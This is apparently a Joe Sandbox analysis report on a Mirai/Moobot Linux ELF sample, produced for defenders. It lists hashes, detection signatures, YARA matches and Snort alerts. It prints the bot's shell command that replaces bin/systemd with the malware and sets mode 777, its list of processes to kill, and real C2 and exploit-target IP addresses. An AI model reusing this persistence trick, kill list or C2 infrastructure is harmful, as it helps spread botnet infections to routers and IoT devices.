Edit tour

Linux Analysis Report
xycCMtcF29.elf

Overview

General Information

Sample name:	xycCMtcF29.elf renamed because original name is a hash value
Original sample name:	9b1445e167ab9e301613b3df42e07149.elf
Analysis ID:	1413469
MD5:	9b1445e167ab9e301613b3df42e07149
SHA1:	49f8af2e21d7caeb2df81ea80bbcb286478a34d0
SHA256:	c5fc56f7037de6516c6c281bade35dd5c3288132c2c671cdf24a24d52a87ed3c
Tags:	32elfmiraimotorola
Infos:

Detection

Mirai, Moobot

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Detected Mirai

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Mirai

Yara detected Moobot

Connects to many ports of the same IP (likely port scanning)

Sample tries to kill multiple processes (SIGKILL)

Uses known network protocols on non-standard ports

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Executes commands using a shell command-line interpreter

Executes the "chmod" command used to modify permissions

Executes the "mkdir" command used to create folders

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

HTTP GET or POST without a user agent

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample tries to kill a process (SIGKILL)

Sets full permissions to files and/or directories

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

Analysis Advice

Static ELF header machine description suggests that the sample might not execute correctly on this machine.

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1413469
Start date and time:	2024-03-21 19:06:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	xycCMtcF29.elf renamed because original name is a hash value
Original Sample Name:	9b1445e167ab9e301613b3df42e07149.elf
Detection:	MAL
Classification:	mal100.spre.troj.linELF@0/1025@20/0

Warnings

Report size exceeded maximum capacity and may have missing network information.
VT rate limit hit for: xycCMtcF29.elf

Runtime Messages

Command:	/tmp/xycCMtcF29.elf
PID:	5432
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	done.
Standard Error:	mv: cannot stat '/tmp/xycCMtcF29.elf'$'\377\377\377\377\377\377\354''H': No such file or directory chmod: cannot access ''$'\377\354''Hbin/systemd': No such file or directory

Process Tree

system is lnxubuntu20

xycCMtcF29.elf (PID: 5432, Parent: 5355, MD5: cd177594338c77b895ae27c33f8f86cc) Arguments: /tmp/xycCMtcF29.elf

xycCMtcF29.elf New Fork (PID: 5434, Parent: 5432)

sh (PID: 5434, Parent: 5432, MD5: 1e6b1c887c59a315edb7eb9a315fc84c) Arguments: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd\\xff\\xec0\\x80 && mv /tmp/xycCMtcF29.elf\\xff\\xff\\xff\\xff\\xff\\xff\\xecH bin/systemd\\x80; chmod 777 \\xff\\xecHbin/systemd"

sh New Fork (PID: 5436, Parent: 5434)

rm (PID: 5436, Parent: 5434, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -rf bin/systemd

sh New Fork (PID: 5437, Parent: 5434)

mkdir (PID: 5437, Parent: 5434, MD5: 088c9d1df5a28ed16c726eca15964cb7) Arguments: mkdir bin

sh New Fork (PID: 5438, Parent: 5434)

mv (PID: 5438, Parent: 5434, MD5: 504f0590fa482d4da070a702260e3716) Arguments: mv /tmp/xycCMtcF29.elf\\xff\\xff\\xff\\xff\\xff\\xff\\xecH bin/systemd\\x80

sh New Fork (PID: 5439, Parent: 5434)

chmod (PID: 5439, Parent: 5434, MD5: 739483b900c045ae1374d6f53a86a279) Arguments: chmod 777 \\xff\\xecHbin/systemd

xycCMtcF29.elf New Fork (PID: 5442, Parent: 5432)

xycCMtcF29.elf New Fork (PID: 5444, Parent: 5442)

xycCMtcF29.elf New Fork (PID: 5446, Parent: 5442)

xfce4-session New Fork (PID: 5463, Parent: 2984)

xfdesktop (PID: 5463, Parent: 2984, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 260d40b3c-9c6a-4cb1-bbe4-3557725aa528

xfce4-session New Fork (PID: 5464, Parent: 2984)

xfdesktop (PID: 5464, Parent: 2984, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 260d40b3c-9c6a-4cb1-bbe4-3557725aa528

xfce4-session New Fork (PID: 5467, Parent: 2984)

xfdesktop (PID: 5467, Parent: 2984, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 260d40b3c-9c6a-4cb1-bbe4-3557725aa528

xfce4-session New Fork (PID: 5472, Parent: 2984)

xfdesktop (PID: 5472, Parent: 2984, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 260d40b3c-9c6a-4cb1-bbe4-3557725aa528

xfce4-session New Fork (PID: 5475, Parent: 2984)

xfdesktop (PID: 5475, Parent: 2984, MD5: dfb13e1581f80065dcea16f2476f16f2) Arguments: xfdesktop --display :1.0 --sm-client-id 260d40b3c-9c6a-4cb1-bbe4-3557725aa528

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Name	Description	Attribution	Blogpost URLs	Link
MooBot		No Attribution	https://blog.netlab.360.com/ddos-botnet-moobot-en/ https://blog.netlab.360.com/moobot-0day-unixcctv-dvr-en/ https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/ https://media.defense.gov/2024/Feb/27/2003400753/-1/-1/0/CSA-RUSSIAN-ACTORS-USE-ROUTERS-FACILITATE-CYBER_OPERATIONS.PDF https://otx.alienvault.com/pulse/6075b645942d5adf9bb8949b	https://malpedia.caad.fkie.fraunhofer.de/details/elf.moobot

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
xycCMtcF29.elf	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
xycCMtcF29.elf	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
xycCMtcF29.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
xycCMtcF29.elf	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1000f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10023:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10037:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1004b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10073:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10087:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1009b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100af:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100c3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100d7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100eb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100ff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10113:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10127:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1013b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1014f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10163:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10177:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1018b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F

Memory Dumps

Source	Rule	Description	Author	Strings
5432.1.00007f2aa0001000.00007f2aa0013000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
5432.1.00007f2aa0001000.00007f2aa0013000.r-x.sdmp	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
5432.1.00007f2aa0001000.00007f2aa0013000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5432.1.00007f2aa0001000.00007f2aa0013000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x1000f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10023:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10037:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1004b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1005f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10073:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10087:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1009b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100af:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100c3:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100d7:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100eb:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x100ff:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10113:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10127:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1013b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1014f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10163:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x10177:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1018b:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1019f:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: xycCMtcF29.elf PID: 5432	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
Process Memory Space: xycCMtcF29.elf PID: 5432	JoeSecurity_Mirai_3	Yara detected Mirai	Joe Security
Process Memory Space: xycCMtcF29.elf PID: 5432	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x3834:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3848:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x385c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3870:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3884:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3898:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x38ac:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x38c0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x38d4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x38e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x38fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3910:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3924:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3938:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x394c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3960:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3974:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x3988:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x399c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x39b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x39c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Click to see the 2 entries

Snort Signatures

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:08:08.149173
SID:	2030490
Source Port:	51958
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.49.230.238

Timestamp:	03/21/24-19:08:50.360533
SID:	2829579
Source Port:	52634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:08:33.316639
SID:	2030490
Source Port:	51968
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:09:14.820265
SID:	2030490
Source Port:	51988
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:08:30.527256
SID:	2030490
Source Port:	51966
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:08:49.685724
SID:	2030490
Source Port:	51976
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:07:26.400297
SID:	2030490
Source Port:	51944
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:07:40.980334
SID:	2030490
Source Port:	51948
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:07:55.566843
SID:	2030490
Source Port:	51954
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:08:28.738636
SID:	2030490
Source Port:	51964
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:07:15.575749
SID:	2030490
Source Port:	51942
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.234.183.89

Timestamp:	03/21/24-19:08:16.872727
SID:	2829579
Source Port:	41400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:08:00.354218
SID:	2030490
Source Port:	51956
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.246.19.84

Timestamp:	03/21/24-19:09:11.912316
SID:	2829579
Source Port:	46574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:07:32.195782
SID:	2030490
Source Port:	51946
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 103.124.190.78

Timestamp:	03/21/24-19:08:50.500332
SID:	2835222
Source Port:	60916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.234.183.89

Timestamp:	03/21/24-19:08:16.872727
SID:	2835222
Source Port:	41400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:07:48.782725
SID:	2030490
Source Port:	51950
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:08:59.259946
SID:	2030490
Source Port:	51982
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.246.19.84

Timestamp:	03/21/24-19:09:11.912316
SID:	2835222
Source Port:	46574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.49.230.238

Timestamp:	03/21/24-19:08:50.360533
SID:	2835222
Source Port:	52634
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:08:52.472229
SID:	2030490
Source Port:	51980
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:09:08.040825
SID:	2030490
Source Port:	51984
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:08:17.934558
SID:	2030490
Source Port:	51962
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:08:42.895613
SID:	2030490
Source Port:	51972
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 103.124.190.78

Timestamp:	03/21/24-19:08:50.500332
SID:	2829579
Source Port:	60916
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) - Source IP: 192.168.2.13 - Destination IP: 103.188.244.189

Timestamp:	03/21/24-19:08:36.107092
SID:	2030490
Source Port:	51970
Destination Port:	43957
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: xycCMtcF29.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: xycCMtcF29.elf

ReversingLabs: Detection: 55%

Source: xycCMtcF29.elf

String: Content-Length: /proc/proc/%d/cmdlinepgrepwgetcurlpkillkillalltftptop/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-servershellmnt/sys/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincissh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashtelnetddropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt//bin/httpd/bin/watchdog/bin/systemdrm -rf && mkdir ; > && mv ; chmod 777 3f

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51942 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51944 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51946 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51948 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51950 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51954 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51956 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51958 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.13:41400 -> 41.234.183.89:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.13:41400 -> 41.234.183.89:37215
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51962 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51964 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51966 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51968 -> 103.188.244.189:43957
Source: Traffic	Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.13:51970 -> 103.188.244.189:43957
